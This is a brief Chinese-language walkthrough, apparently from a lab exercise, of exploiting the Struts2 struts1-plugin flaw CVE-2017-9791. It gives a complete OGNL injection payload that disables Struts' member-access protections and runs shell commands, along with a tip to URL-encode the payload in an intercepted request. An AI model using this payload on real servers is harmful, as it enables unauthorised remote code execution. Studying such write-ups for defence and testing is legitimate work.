struts2 代码执行 (CVE-2017-9791) Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 攻击者构造恶意字段值(value)通过Struts2的struts2-struts1-plugin传递给被攻击主机,从而实现RCE,获取远程主机的控制权限。 访问漏洞存在的路径 /integration/saveGangster.action 在第一个框里输入 ${1+11}进行测试,发现被执行: payload:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)  (#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('pwd').getInputStream())).(#q)} 查看当前目录成功了: 试了几遍ls命令失败,抓包试试(抓包大概率可以发现什么东西): 这里看到name部分的payload进行了url转码,把ls命令的payload转码改包试试: 成功了。 慢慢来。
|